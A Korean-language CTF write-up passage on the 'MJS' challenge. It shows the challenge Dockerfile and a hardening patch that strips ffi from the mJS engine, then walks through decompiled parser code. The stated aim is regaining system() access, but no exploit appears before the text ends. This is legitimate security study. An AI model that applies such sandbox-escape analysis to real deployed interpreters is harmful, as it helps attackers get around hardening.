MJS

CTF 당시에는 warm-up인데 자바스크립트 엔진이라 도망갔다.
구글링 잘했으면 바로 풀 수 있었을 것 같다.

Analysis

FROM ubuntu:22.04

ENV DEBIAN_FRONTEND noninteractive

RUN apt-get update
RUN apt-get install -y xinetd python3 xxd

COPY mjs /
COPY ynetd /
COPY remote.py /

RUN echo "kalmar{redacted}" > /flag-$(head -c 16 /dev/urandom | xxd -p).txt

USER 1000:1000

EXPOSE 10002

CMD ./ynetd -p 10002 "timeout 60 ./remote.py"

22.04이다.

diff --git a/Makefile b/Makefile
index d265d7e..d495e84 100644
--- a/Makefile
+++ b/Makefile
@@ -5,6 +5,7 @@ BUILD_DIR = build
 RD ?= docker run -v $(CURDIR):$(CURDIR) --user=$(shell id -u):$(shell id -g) -w $(CURDIR)
 DOCKER_GCC ?= $(RD) mgos/gcc
 DOCKER_CLANG ?= $(RD) mgos/clang
+CC = clang
 
 include $(SRCPATH)/mjs_sources.mk
 
@@ -81,7 +82,7 @@ CFLAGS += $(COMMON_CFLAGS)
 # NOTE: we compile straight from sources, not from the single amalgamated file,
 # in order to make sure that all sources include the right headers
 $(PROG): $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) $(TOP_HEADERS) $(BUILD_DIR)
-	$(DOCKER_CLANG) clang $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
+	$(CC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
 
 $(BUILD_DIR):
 	mkdir -p $@
diff --git a/src/mjs_builtin.c b/src/mjs_builtin.c
index 6f51e08..36c2b43 100644
--- a/src/mjs_builtin.c
+++ b/src/mjs_builtin.c
@@ -137,12 +137,12 @@ void mjs_init_builtin(struct mjs *mjs, mjs_val_t obj) {
           mjs_mk_foreign_func(mjs, (mjs_func_ptr_t) mjs_load));
   mjs_set(mjs, obj, "print", ~0,
           mjs_mk_foreign_func(mjs, (mjs_func_ptr_t) mjs_print));
-  mjs_set(mjs, obj, "ffi", ~0,
-          mjs_mk_foreign_func(mjs, (mjs_func_ptr_t) mjs_ffi_call));
-  mjs_set(mjs, obj, "ffi_cb_free", ~0,
-          mjs_mk_foreign_func(mjs, (mjs_func_ptr_t) mjs_ffi_cb_free));
-  mjs_set(mjs, obj, "mkstr", ~0,
-          mjs_mk_foreign_func(mjs, (mjs_func_ptr_t) mjs_mkstr));
+  /* mjs_set(mjs, obj, "ffi", ~0, */
+  /*         mjs_mk_foreign_func(mjs, (mjs_func_ptr_t) mjs_ffi_call)); */
+  /* mjs_set(mjs, obj, "ffi_cb_free", ~0, */
+  /*         mjs_mk_foreign_func(mjs, (mjs_func_ptr_t) mjs_ffi_cb_free)); */
+  /* mjs_set(mjs, obj, "mkstr", ~0, */
+  /*         mjs_mk_foreign_func(mjs, (mjs_func_ptr_t) mjs_mkstr)); */
   mjs_set(mjs, obj, "getMJS", ~0,
           mjs_mk_foreign_func(mjs, (mjs_func_ptr_t) mjs_get_mjs));
   mjs_set(mjs, obj, "die", ~0,
@@ -151,8 +151,8 @@ void mjs_init_builtin(struct mjs *mjs, mjs_val_t obj) {
           mjs_mk_foreign_func(mjs, (mjs_func_ptr_t) mjs_do_gc));
   mjs_set(mjs, obj, "chr", ~0,
           mjs_mk_foreign_func(mjs, (mjs_func_ptr_t) mjs_chr));
-  mjs_set(mjs, obj, "s2o", ~0,
-          mjs_mk_foreign_func(mjs, (mjs_func_ptr_t) mjs_s2o));
+  /* mjs_set(mjs, obj, "s2o", ~0, */
+  /*         mjs_mk_foreign_func(mjs, (mjs_func_ptr_t) mjs_s2o)); */
 
   /*
    * Populate JSON.parse() and JSON.stringify()
diff --git a/src/mjs_exec.c b/src/mjs_exec.c
index bd48fea..24c2c7c 100644
--- a/src/mjs_exec.c
+++ b/src/mjs_exec.c
@@ -835,7 +835,7 @@ MJS_PRIVATE mjs_err_t mjs_execute(struct mjs *mjs, size_t off, mjs_val_t *res) {
 
           *func = MJS_UNDEFINED;  // Return value
           // LOG(LL_VERBOSE_DEBUG, ("CALLING  %d", i + 1));
-        } else if (mjs_is_string(*func) || mjs_is_ffi_sig(*func)) {
+        } else if (mjs_is_ffi_sig(*func)) {
           /* Call ffi-ed function */
 
           call_stack_push_frame(mjs, bp.start_idx + i, retval_stack_idx);

patch.diff가 주어진다.

https://github.com/cesanta/mjs
diff.patch is just hardening :)

README.txt가 주어졌다.
diff.patch는 그냥 hardening 이라고 한다.

https://github.com/cesanta/mjs
깃허브에 들어가보면 diff에서 ffi를 왜 없애는지 알 수 있다.

$ ./build/mjs -e 'ffi("double sin(double)")(1.23)'
0.942489

다음과 같이 쓸 수 있어서, system으로 바로 따는걸 막기 위해서 일부러 없애놓은 것 같다.

mjs_err_t __cdecl mjs_exec_internal(mjs *mjs, const char *path, const char *code, int generate_jsc, mjs_val_t *res)
{
  size_t v5; // rax
  int v6; // eax
  char *v7; // rax
  _QWORD v9[2]; // [rsp+0h] [rbp-B0h] BYREF
  mjs *v10; // [rsp+10h] [rbp-A0h]
  char *filename; // [rsp+18h] [rbp-98h]
  __int64 v12; // [rsp+20h] [rbp-90h]
  FILE *fp; // [rsp+28h] [rbp-88h]
  char *data; // [rsp+30h] [rbp-80h]
  size_t size; // [rsp+38h] [rbp-78h] BYREF
  mjs_bcode_part *bp_0; // [rsp+40h] [rbp-70h]
  unsigned __int64 __vla_expr0; // [rsp+48h] [rbp-68h]
  _QWORD *v18; // [rsp+50h] [rbp-60h]
  const char *jscext; // [rsp+58h] [rbp-58h]
  int read_mmapped; // [rsp+64h] [rbp-4Ch]
  int rewrite; // [rsp+68h] [rbp-48h]
  int basename_len; // [rsp+6Ch] [rbp-44h]
  const char *jsext; // [rsp+70h] [rbp-40h]
  mjs_val_t r; // [rsp+78h] [rbp-38h] BYREF
  size_t off; // [rsp+80h] [rbp-30h]
  mjs_val_t *resa; // [rsp+88h] [rbp-28h]
  int generate_jsca; // [rsp+94h] [rbp-1Ch]
  const char *JS_CODE; // [rsp+98h] [rbp-18h]
  const char *patha; // [rsp+A0h] [rbp-10h]
  mjs *mjsa; // [rsp+A8h] [rbp-8h]

  mjsa = mjs;
  patha = path;                                 // <stdin>
  JS_CODE = code;
  generate_jsca = generate_jsc;
  resa = res;
  off = mjs->bcode_len;
  r = 0xFFF3000000000000LL;
  mjs->error = mjs_parse(path, code, mjs);
  if ( cs_log_level_0 >= 4 )
    mjs_dump(mjsa, 1);
  if ( generate_jsca == -1 )
    generate_jsca = (*((_BYTE *)mjsa + 464) & 4) != 0;
  if ( mjsa->error == MJS_OK )
  {
    if ( generate_jsca )
    {
      if ( patha )
      {
        jsext = ".js";
        v12 = (int)strlen(patha);
        basename_len = v12 - strlen(".js");
        if ( basename_len > 0 && !strcmp(&patha[basename_len], jsext) )
        {
          rewrite = 1;
          read_mmapped = 1;
          jscext = ".jsc";
          v9[1] = basename_len;
          v5 = strlen(".jsc");
          v18 = v9;
          filename = (char *)v9 - ((basename_len + v5 + 16) & 0xFFFFFFFFFFFFFFF0LL);
          __vla_expr0 = basename_len + v5 + 1;
          memcpy(filename, patha, basename_len);
          strcpy(&filename[basename_len], jscext);
          v10 = mjsa;
          v6 = mjs_bcode_parts_cnt(mjsa);
          bp_0 = mjs_bcode_part_get(v10, v6 - 1);
          data = cs_mmap_file(filename, &size);
          if ( data )
          {
            if ( size == bp_0->data.len && !memcmp(data, bp_0->data.p, size) )
              rewrite = 0;
            munmap(data, size);
          }
          if ( rewrite )
          {
            fp = fopen64(filename, "wb");
            if ( fp )
            {
              fwrite(bp_0->data.p, bp_0->data.len, 1uLL, fp);
              fclose(fp);
            }
            else
            {
              if ( cs_log_print_prefix(LL_WARN, "src/mjs_exec.c", 1054) )
                cs_log_printf("Failed to open %s for writing", filename);
              read_mmapped = 0;
            }
          }
          if ( read_mmapped )
          {
            free((void *)bp_0->data.p);
            v7 = cs_mmap_file(filename, &bp_0->data.len);
            bp_0->data.p = v7;
            *((_BYTE *)bp_0 + 24) = *((_BYTE *)bp_0 + 24) & 0xEF | 0x10;
          }
        }
      }
    }
    mjs_execute(mjsa, off, &r);

mjs_exec_internal 함수의 인자로 path가 주어지는데, 이건 -e 옵션으로 직접 js 코드를 주면, <stdin> 문자열의 주소가 된다.
code는 말 그대로 js code의 포인터이다.
mjs는 그냥 mjs 객체이다.

mjs_parse와 mjs_execute가 분석해야할 주요 함수이다.
간단하게 기능을 알아보자면, mjs_parse는 문법을 분석해서 바이트 코드를 점화해서 mjs 객체에 추가해놓는다.
그리고 mjs_execute는 점화된 바이트 코드를 실행한다.

mjs_parse

mjs_err_t __cdecl mjs_parse(const char *path, const char *CODE_, mjs *mjs)
{
  size_t v3; // rax
  mjs *a; // [rsp+8h] [rbp-B8h]
  const char *v6; // [rsp+10h] [rbp-B0h]
  int map_len; // [rsp+24h] [rbp-9Ch]
  size_t llen; // [rsp+28h] [rbp-98h]
  size_t start_idx; // [rsp+30h] [rbp-90h]
  pstate p; // [rsp+38h] [rbp-88h] BYREF
  mjs_err_t res; // [rsp+A4h] [rbp-1Ch]
  mjs *mjsa; // [rsp+A8h] [rbp-18h]
  const char *CODE; // [rsp+B0h] [rbp-10h]
  const char *patha; // [rsp+B8h] [rbp-8h]

  patha = path;
  CODE = CODE_;
  mjsa = mjs;
  res = MJS_OK;
  pinit(path, CODE_, &p);
  p.mjs = mjsa;
  p.cur_idx = mjsa->bcode_gen.len;
  emit_byte(&p, 0x24u);                         // OP_BCODE_HEADER = 0x24 start off
  start_idx = p.mjs->bcode_gen.len;
  mbuf_append(&p.mjs->bcode_gen, 0LL, 0xCuLL);
  a = p.mjs;
  v6 = patha;
  v3 = strlen(patha);
  mbuf_append(&a->bcode_gen, v6, v3 + 1);
  *(_DWORD *)&p.mjs->bcode_gen.buf[start_idx + 4] = p.mjs->bcode_gen.len - start_idx;
  p.start_bcode_idx = p.mjs->bcode_gen.len;
  p.cur_idx = p.mjs->bcode_gen.len;
  res = parse_statement_list(&p, 0);
  emit_byte(&p, 0x23u);                         // OP_EXIT
  *(_DWORD *)&p.mjs->bcode_gen.buf[start_idx + 8] = p.mjs->bcode_gen.len - start_idx;
  map_len = p.offset_lineno_map.len;
  llen = cs_varint_llen(SLODWORD(p.offset_lineno_map.len));
  mbuf_resize(&p.mjs->bcode_gen, llen + p.mjs->bcode_gen.size);
  cs_varint_encode(map_len, (uint8_t *)&p.mjs->bcode_gen.buf[p.mjs->bcode_gen.len], llen);
  p.mjs->bcode_gen.len += llen;
  mbuf_append(&p.mjs->bcode_gen, p.offset_lineno_map.buf, p.offset_lineno_map.len);
  *(_DWORD *)&p.mjs->bcode_gen.buf[start_idx] = p.mjs->bcode_gen.len - start_idx;
  mbuf_free(&p.offset_lineno_map);
  if ( res )
    mbuf_free(&mjsa->bcode_gen);
  else
    mjs_bcode_commit(mjsa);
  return res;
}

mjs_parse 함수의 모습이다.
pinit은 pstate를 초기화해주는 함수이다.

00000000 pstate          struc ; (sizeof=0x68, align=0x8, copyof_117)
00000000                                         ; XREF: mjs_parse/r
00000000                                         ; parse_return/r ...
00000000 file_name       dq ?                    ; offset
00000008 buf             dq ?                    ; offset
00000010 pos             dq ?                    ; offset
00000018 line_no         dd ?
0000001C last_emitted_line_no dd ?
00000020 offset_lineno_map mbuf ?                ; XREF: mjs_parse+142/r
00000020                                         ; mjs_parse+1B0/r ...
00000038 prev_tok        dd ?
0000003C                 db ? ; undefined
0000003D                 db ? ; undefined
0000003E                 db ? ; undefined
0000003F                 db ? ; undefined
00000040 tok             tok ?
00000050 mjs             dq ?                    ; XREF: mjs_parse+36/w
00000050                                         ; mjs_parse+3A/r ... ; offset
00000058 start_bcode_idx dd ?                    ; XREF: mjs_parse+E5/w
0000005C cur_idx         dd ?                    ; XREF: mjs_parse+42/w
0000005C                                         ; mjs_parse+F0/w
00000060 depth           dd ?
00000064                 db ? ; undefined
00000065                 db ? ; undefined
00000066                 db ? ; undefined
00000067                 db ? ; undefined
00000068 pstate          ends
00000068

pstate 구조체는 위와 같다.

초기화가 잘 된다음에, parse_statement_list 함수로 들어간다.
이 함수가 제일 중요한 함수다.

mjs_err_t __cdecl parse_statement_list(pstate *p, int et)
{
  bool v3; // [rsp+Bh] [rbp-15h]
  int drop; // [rsp+Ch] [rbp-14h]
  mjs_err_t res; // [rsp+10h] [rbp-10h]

  res = MJS_OK;
  drop = 0;
  if ( cs_log_print_prefix(LL_VERBOSE_DEBUG, "src/mjs_parser.c", 147) )
    cs_log_printf("  PNEXT %d", 147LL);
  pnext(p);                                     // cur_tok = 0xCA -> STR
  while ( 1 )                                   // 8,9 ()
  {
    v3 = 0;
    if ( res == MJS_OK )
    {
      v3 = 0;
      if ( p->tok.tok )
        v3 = p->tok.tok != et;
    }
    if ( !v3 )
      break;
    if ( drop )
      emit_byte(p, 1u);
    res = parse_statement(p);
    drop = 1;
    while ( p->tok.tok == 3 )
    {
      if ( cs_log_print_prefix(LL_VERBOSE_DEBUG, "src/mjs_parser.c", 152) )
        cs_log_printf("  PNEXT %d", 152LL);
      pnext(p);
    }
  }
  if ( !drop )
    emit_byte(p, 0x11u);
  return res;
}

pnext 함수는 다음 코드의 부분까지 파싱하는 함수다.

int __cdecl pnext(pstate *p)
{
  unsigned int tok; // [rsp+0h] [rbp-10h]
  int toka; // [rsp+0h] [rbp-10h]
  int tmp; // [rsp+4h] [rbp-Ch]
  int tmpa; // [rsp+4h] [rbp-Ch]

  tok = 1;
  skip_spaces_and_comments(p);
  p->tok.ptr = p->pos;
  p->tok.len = 1;
  if ( *p->pos )
  {
    if ( mjs_is_digit(*p->pos) )
    {
      tok = getnum(p);
    }
    else if ( *p->pos == '\'' || *p->pos == '"' )
    {
      tok = getstr(p);
    }
    else if ( mjs_is_ident(*p->pos) )
    {
      toka = getident(p);                       // GET ALPHABET KEYWORLD ex) let a
      tok = toka + is_reserved_word_token(p->tok.ptr, p->tok.len);// 32 reserved WORDS
    }
    else if ( strchr(",.:;{}[]()?", *p->pos) )
    {
      tok = *p->pos;
    }
    else
    {
      tmp = longtok3(p, '<', '<', '=');
      if ( tmp )
        goto LABEL_24;
      tmp = longtok3(p, '>', '>', '=');
      if ( tmp )
        goto LABEL_24;
      tmp = longtok4(p, '>', '>', '>', '=');
      if ( tmp )
        goto LABEL_24;
      tmp = longtok3(p, '>', '>', '>');
      if ( tmp )
        goto LABEL_24;
      tmp = longtok3(p, '=', '=', '=');
      if ( tmp
        || (tmp = longtok3(p, 33, 61, 61)) != 0
        || (tmp = longtok(p, "&", "&=")) != 0
        || (tmp = longtok(p, "|", "|=")) != 0
        || (tmp = longtok(p, "<", "<=")) != 0
        || (tmp = longtok(p, ">", ">=")) != 0
        || (tmp = longtok(p, "-", "-=")) != 0
        || (tmp = longtok(p, "+", "+=")) != 0 )
      {
LABEL_24:
        tok = tmp;
      }
      else
      {
        tmpa = longtok(p, "^~+-%/*<>=!|&", "=");
        if ( tmpa )
          tok = tmpa;
      }
    }
  }
  else
  {
    tok = 0;
  }
  if ( *p->pos )
    ++p->pos;
  if ( cs_log_print_prefix(LL_VERBOSE_DEBUG, "src/mjs_tok.c", 250) )
    cs_log_printf("  --> %d [%.*s]", tok, p->tok.len, p->tok.ptr);
  p->prev_tok = p->tok.tok;
  p->tok.tok = ptranslate(tok);                 // 8,9 -> ()
  return p->tok.tok;
}

이런식으로 세미콜론을 기준으로 자르거나 하면서 파싱을 해준다.

int __cdecl ptranslate(enum mjs_TOK tok)
{
  switch ( tok )
  {
    case 0x21:
      return 22;
    case 0x25:
      return 16;
    case 0x26:
      return 17;
    case 0x28:
      return 8;
    case 0x29:
      return 9;
    case 0x2A:
      return 12;
    case 0x2B:
      return 13;
    case 0x2C:
      return 4;
    case 0x2D:
      return 14;
    case 0x2E:
      return 20;
    case 0x2F:
      return 15;
    case 0x3A:
      return 2;
    case 0x3B:
      return 3;
    case 0x3C:
      return 24;
    case 0x3D:
      return 5;
    case 0x3E:
      return 25;
    case 0x3F:
      return 21;
    case 0x5B:
      return 10;
    case 0x5D:
      return 11;
    case 0x5E:
      return 19;
    case 0x7B:
      return 6;
    case 0x7C:
      return 18;
    case 0x7D:
      return 7;
    case 0x7E:
      return 23;
    case 0x213D:
      return 39;
    case 0x253D:
      return 36;
    case 0x2626:
      return 42;
    case 0x263D:
      return 34;
    case 0x2A3D:
      return 32;
    case 0x2B2B:
      return 29;
    case 0x2B3D:
      return 30;
    case 0x2D2D:
      return 28;
    case 0x2D3D:
      return 31;
    case 0x2F3D:
      return 33;
    case 0x3C3C:
      return 26;
    case 0x3C3D:
      return 40;
    case 0x3D3D:
      return 38;
    case 0x3E3D:
      return 41;
    case 0x3E3E:
      return 27;
    case 0x5E3D:
      return 37;
    case 0x7C3D:
      return 35;
    case 0x7C7C:
      return 43;
    case 0x213D3D:
      return 45;
    case 0x3C3C3D:
      return 46;
    case 0x3D3D3D:
      return 44;
    case 0x3E3E3D:
      return 47;
    case 0x3E3E3E:
      return 48;
    case 0x3E3E3E3D:
      return 49;
  }
  return tok;
}

이건 그냥 tok에 맞는게 있으면, 그걸 리턴해준다.
이부분은 소스코드를 보는게 더 이해가 잘된다.

static int ptranslate(int tok) {
#define DT(a, b) ((a) << 8 | (b))
#define TT(a, b, c) ((a) << 16 | (b) << 8 | (c))
#define QT(a, b, c, d) ((a) << 24 | (b) << 16 | (c) << 8 | (d))
  /* Map token ID produced by mjs_tok.c to token ID produced by lemon */
  /* clang-format off */
  switch (tok) {
    case ':': return TOK_COLON;
    case ';': return TOK_SEMICOLON;
    case ',': return TOK_COMMA;
    case '=': return TOK_ASSIGN;
    case '{': return TOK_OPEN_CURLY;
    case '}': return TOK_CLOSE_CURLY;
    case '(': return TOK_OPEN_PAREN;
    case ')': return TOK_CLOSE_PAREN;
    case '[': return TOK_OPEN_BRACKET;
    case ']': return TOK_CLOSE_BRACKET;
    case '*': return TOK_MUL;
    case '+': return TOK_PLUS;
    case '-': return TOK_MINUS;
    case '/': return TOK_DIV;
    case '%': return TOK_REM;
    case '&': return TOK_AND;
    case '|': return TOK_OR;
    case '^': return TOK_XOR;
    case '.': return TOK_DOT;
    case '?': return TOK_QUESTION;
    case '!': return TOK_NOT;
    case '~': return TOK_TILDA;
    case '<': return TOK_LT;
    case '>': return TOK_GT;
    case DT('<','<'): return TOK_LSHIFT;
    case DT('>','>'): return TOK_RSHIFT;
    case DT('-','-'): return TOK_MINUS_MINUS;
    case DT('+','+'): return TOK_PLUS_PLUS;
    case DT('+','='): return TOK_PLUS_ASSIGN;
    case DT('-','='): return TOK_MINUS_ASSIGN;
    case DT('*','='): return TOK_MUL_ASSIGN;
    case DT('/','='): return TOK_DIV_ASSIGN;
    case DT('&','='): return TOK_AND_ASSIGN;
    case DT('|','='): return TOK_OR_ASSIGN;
    case DT('%','='): return TOK_REM_ASSIGN;
    case DT('^','='): return TOK_XOR_ASSIGN;
    case DT('=','='): return TOK_EQ;
    case DT('!','='): return TOK_NE;
    case DT('<','='): return TOK_LE;
    case DT('>','='): return TOK_GE;
    case DT('&','&'): return TOK_LOGICAL_AND;
    case DT('|','|'): return TOK_LOGICAL_OR;
    case TT('=','=','='): return TOK_EQ_EQ;
    case TT('!','=','='): return TOK_NE_NE;
    case TT('<','<','='): return TOK_LSHIFT_ASSIGN;
    case TT('>','>','='): return TOK_RSHIFT_ASSIGN;
    case TT('>','>','>'): return TOK_URSHIFT;
    case QT('>','>','>','='): return TOK_URSHIFT_ASSIGN;
  }
  /* clang-format on */
  return tok;
}
mjs_err_t __cdecl parse_statement(pstate *p)
{
  int tok; // [rsp+8h] [rbp-18h]
  mjs_err_t res; // [rsp+Ch] [rbp-14h]

  if ( cs_log_print_prefix(LL_VERBOSE_DEBUG, "src/mjs_parser.c", 900) )
    cs_log_printf("[%.*s]", 10, p->tok.ptr);
  tok = p->tok.tok;
  switch ( tok )
  {
    case 3:
      emit_byte(p, 0x11u);
      if ( cs_log_print_prefix(LL_VERBOSE_DEBUG, "src/mjs_parser.c", 904) )
        cs_log_printf("  PNEXT %d", 904LL);
      goto LABEL_34;
    case 6:
      return parse_block(p, 1);
    case 0xCB:
      emit_byte(p, 0x11u);
      emit_byte(p, 0x20u);
      if ( cs_log_print_prefix(LL_VERBOSE_DEBUG, "src/mjs_parser.c", 919) )
        cs_log_printf("  PNEXT %d", 919LL);
      goto LABEL_34;
  }
  if ( (unsigned int)(tok - 0xCC) < 2 )
    goto LABEL_36;
  if ( tok == 0xCE )
  {
    emit_byte(p, 0x21u);
    if ( cs_log_print_prefix(LL_VERBOSE_DEBUG, "src/mjs_parser.c", 923) )
      cs_log_printf("  PNEXT %d", 923LL);
LABEL_34:
    pnext(p);
    return 0;
  }
  if ( (unsigned int)(tok - 0xD1) < 2 )
    goto LABEL_36;
  if ( tok == 0xD6 )
    return parse_for(p);
  if ( tok == 0xD8 )
    return parse_if(p);
  if ( (unsigned int)(tok - 0xDA) < 2 )
    goto LABEL_36;
  if ( tok == 0xDD )
    return parse_return(p);
  if ( tok == 0xDE || tok == 0xE0 || tok == 0xE2 || (unsigned int)(tok - 0xE4) < 2 )
    goto LABEL_36;
  switch ( tok )
  {
    case 0xE6:
      return parse_while(p);
    case 0xE7:
LABEL_36:
      mjs_set_errorf(p->mjs, MJS_SYNTAX_ERROR, "[%.*s] is not implemented", (unsigned int)p->tok.len, p->tok.ptr);
      return 1;
    case 0xE8:
      return parse_let(p);
  }
  while ( 1 )
  {
    res = parse_expr(p);
    if ( res )
      return res;
    if ( p->tok.tok != 4 )
      break;
    emit_byte(p, 1u);
    if ( cs_log_print_prefix(LL_VERBOSE_DEBUG, "src/mjs_parser.c", 948) )
      cs_log_printf("  PNEXT %d", 948LL);
    pnext(p);
  }
  return 0;
}

parse_statement 함수는 tok에 따라 잘 파싱을 해서 바이트 코드를 점화하는 함수다.
마지막에 parse_expr 함수를 호출한다.

parse_expr 함수는 말 그대로 expression을 파싱하는 함수다.
ternary, logical_or, logical_and, bitwise_or … shift, plus, minus … unary 이런식으로 함수를 계속 호출한다.
즉 그냥 연산자 우선순위를 구현한거라고 보면 된다.

mjs_err_t __cdecl parse_expr(pstate *p)
{
  return parse_assignment(p, 0);
}
mjs_err_t __cdecl parse_assignment(pstate *p, int prev_op)
{
  int op; // [rsp+4h] [rbp-1Ch]
  mjs_err_t res; // [rsp+8h] [rbp-18h]
  mjs_err_t resa; // [rsp+8h] [rbp-18h]

  res = parse_ternary(p, 0);
  if ( res == MJS_OK )
  {
    if ( findtok(&s_assign_ops, p->tok.tok) )
    {
      op = p->tok.tok;
      if ( cs_log_print_prefix(LL_VERBOSE_DEBUG, "src/mjs_parser.c", 503) )
        cs_log_printf("  PNEXT %d", 503LL);
      pnext(p);
      resa = parse_assignment(p, 0);
      if ( resa )
        return resa;
      emit_op(p, op);
    }
    return 0;
  }
  return res;
}

삼항 연산자를 먼저 파싱한다.

mjs_err_t __cdecl parse_ternary(pstate *p, int prev_op)
{
  size_t off_else; // [rsp+0h] [rbp-30h]
  size_t off_endif; // [rsp+8h] [rbp-28h]
  size_t off_endifa; // [rsp+8h] [rbp-28h]
  size_t off_if; // [rsp+10h] [rbp-20h]
  mjs_err_t res; // [rsp+18h] [rbp-18h]
  mjs_err_t resa; // [rsp+18h] [rbp-18h]
  mjs_err_t resb; // [rsp+18h] [rbp-18h]

  res = parse_logical_or(p, 0);
  if ( res == MJS_OK )
  {
    if ( prev_op )
      emit_op(p, prev_op);
    if ( p->tok.tok == 21 )
    {
      if ( cs_log_print_prefix(LL_VERBOSE_DEBUG, "src/mjs_parser.c", 470) )
        cs_log_printf("  PNEXT %d", 470LL);
      pnext(p);
      emit_byte(p, 7u);
      off_if = p->cur_idx;
      emit_init_offset(p);
      resa = parse_ternary(p, 0);
      if ( resa )
        return resa;
      emit_byte(p, 4u);
      off_else = p->cur_idx;
      emit_init_offset(p);
      off_endif = p->cur_idx;
      emit_byte(p, 1u);
      if ( p->tok.tok != 2 )
      {
        mjs_set_errorf(
          p->mjs,
          MJS_SYNTAX_ERROR,
          "parse error at line %d: [%.*s]",
          (unsigned int)p->line_no,
          10LL,
          p->tok.ptr,
          off_else);
        return 1;
      }
      if ( cs_log_print_prefix(LL_VERBOSE_DEBUG, "src/mjs_parser.c", 485) )
        cs_log_printf("  PNEXT %d", 485LL);
      pnext(p);
      resb = parse_ternary(p, 0);
      if ( resb )
        return resb;
      off_endifa = off_endif + mjs_bcode_insert_offset(p, p->mjs, off_else, p->cur_idx - off_else - 1);
      mjs_bcode_insert_offset(p, p->mjs, off_if, off_endifa - off_if - 1);
    }
    return 0;
  }
  return res;
}
mjs_err_t __cdecl parse_logical_or(pstate *p, int prev_op)
{
  uint8_t v2; // al
  size_t off_if; // [rsp+8h] [rbp-28h]
  int op; // [rsp+14h] [rbp-1Ch]
  mjs_err_t res; // [rsp+18h] [rbp-18h]
  int ops[2]; // [rsp+1Ch] [rbp-14h] BYREF
  int prev_opa; // [rsp+24h] [rbp-Ch]
  pstate *pa; // [rsp+28h] [rbp-8h]

  pa = p;
  prev_opa = prev_op;
  *(_QWORD *)ops = 43LL;
  ++p->depth;
  if ( pa->depth <= 512 )
  {
    res = parse_logical_and(pa, 0);
    if ( res == MJS_OK )
    {
      if ( prev_opa )
        emit_op(pa, prev_opa);
      if ( findtok(ops, pa->tok.tok) )
      {
        op = pa->tok.tok;
        off_if = 0LL;
        if ( ops[0] == 42 || ops[0] == 43 )
        {
          v2 = 6;
          if ( ops[0] == 42 )
            v2 = 8;
          emit_byte(pa, v2);
          off_if = pa->cur_idx;
          emit_init_offset(pa);
          emit_byte(pa, 1u);
          op = 0;
        }
        if ( cs_log_print_prefix(LL_VERBOSE_DEBUG, "src/mjs_parser.c", 460) )
          cs_log_printf("  PNEXT %d", 460LL);
        pnext(pa);
        res = parse_logical_or(pa, op);
        if ( res == MJS_OK && off_if )
          mjs_bcode_insert_offset(pa, pa->mjs, off_if, pa->cur_idx - off_if - 1);
      }
    }
  }
  else
  {
    mjs_set_errorf(pa->mjs, MJS_SYNTAX_ERROR, "parser stack overflow");
    res = MJS_SYNTAX_ERROR;
  }
  --pa->depth;
  return res;
}

함수 기본적인 틀은 다 똑같다.
매크로로 구현해둬서 그렇다.
parse_unary에서만 조금 바뀐다.

mjs_err_t __cdecl parse_unary(pstate *p, int prev_op)
{
  int op; // [rsp+4h] [rbp-1Ch]
  mjs_err_t res; // [rsp+8h] [rbp-18h]

  op = 0;
  if ( findtok(&s_unary_ops, p->tok.tok) )
  {
    op = p->tok.tok;
    if ( cs_log_print_prefix(LL_VERBOSE_DEBUG, "src/mjs_parser.c", 399) )
      cs_log_printf("  PNEXT %d", 399LL);
    pnext(p);
  }
  if ( findtok(&s_unary_ops, p->tok.tok) )
    res = parse_unary(p, prev_op);
  else
    res = parse_postfix(p, prev_op);
  if ( res )
    return res;
  if ( op )
  {
    if ( op == 14 )
      op = 51;
    if ( op == 13 )
      op = 50;
    emit_op(p, op);
  }
  return 0;
}

일반적인 문자들은 parse_postfix를 타고 들어간다.

mjs_err_t __cdecl parse_postfix(pstate *p, int prev_op)
{
  int v2; // eax
  mjs_err_t res; // [rsp+8h] [rbp-18h]

  res = parse_call_dot_mem(p, prev_op);
  if ( res )
    return res;
  if ( p->tok.tok == 29 || p->tok.tok == 28 )
  {
    v2 = 53;
    if ( p->tok.tok == 29 )
      v2 = 52;
    emit_op(p, v2);
    if ( cs_log_print_prefix(LL_VERBOSE_DEBUG, "src/mjs_parser.c", 389) )
      cs_log_printf("  PNEXT %d", 389LL);
    pnext(p);
  }
  return 0;
}

parse_call_dot_mem은 그냥 소스코드로 보는게 더 편하다.

static mjs_err_t parse_call_dot_mem(struct pstate *p, int prev_op) {
  int ops[] = {TOK_DOT, TOK_OPEN_PAREN, TOK_OPEN_BRACKET, TOK_EOF};
  mjs_err_t res = MJS_OK;
  if ((res = parse_literal(p, &p->tok)) != MJS_OK) return res;
  while (findtok(ops, p->tok.tok) != TOK_EOF) {
    if (p->tok.tok == TOK_OPEN_BRACKET) {
      int prev_tok = p->prev_tok;
      EXPECT(p, TOK_OPEN_BRACKET);
      if ((res = parse_expr(p)) != MJS_OK) return res;
      emit_byte(p, OP_SWAP);
      EXPECT(p, TOK_CLOSE_BRACKET);
      if (!findtok(s_assign_ops, p->tok.tok) &&
          !findtok(s_postfix_ops, p->tok.tok) &&
          /* TODO(dfrank): fix: it doesn't work for prefix ops */
          !findtok(s_postfix_ops, prev_tok)) {
        emit_byte(p, OP_GET);
      }
    } else if (p->tok.tok == TOK_OPEN_PAREN) {
      EXPECT(p, TOK_OPEN_PAREN);
      emit_byte(p, OP_ARGS);
      while (p->tok.tok != TOK_CLOSE_PAREN) {
        if ((res = parse_expr(p)) != MJS_OK) return res;
        if (p->tok.tok == TOK_COMMA) pnext1(p);
      }
      emit_byte(p, OP_CALL);
      EXPECT(p, TOK_CLOSE_PAREN);
    } else if (p->tok.tok == TOK_DOT) {
      EXPECT(p, TOK_DOT);
      if ((res = parse_call_dot_mem(p, TOK_DOT)) != MJS_OK) return res;
    }
  }
  (void) prev_op;
  return res;
}

()를 구분해서 arg도 잘 넣어준다.
parse_literal을 통해서 문자열을 읽는다.
js 코드에서 mjs_print를 호출하려고 print()를 호출하면, 문자열 print는 parse_literal 함수에서 파싱된다.

mjs_err __cdecl parse_literal(pstate *p, const tok *t)
{
  uint8_t v2; // al
  __m128d v3; // xmm1
  enum mjs_OPCODE v5; // [rsp+Ch] [rbp-54h]
  size_t oldlen; // [rsp+10h] [rbp-50h]
  unsigned __int64 uv; // [rsp+18h] [rbp-48h] BYREF
  double d; // [rsp+20h] [rbp-40h]
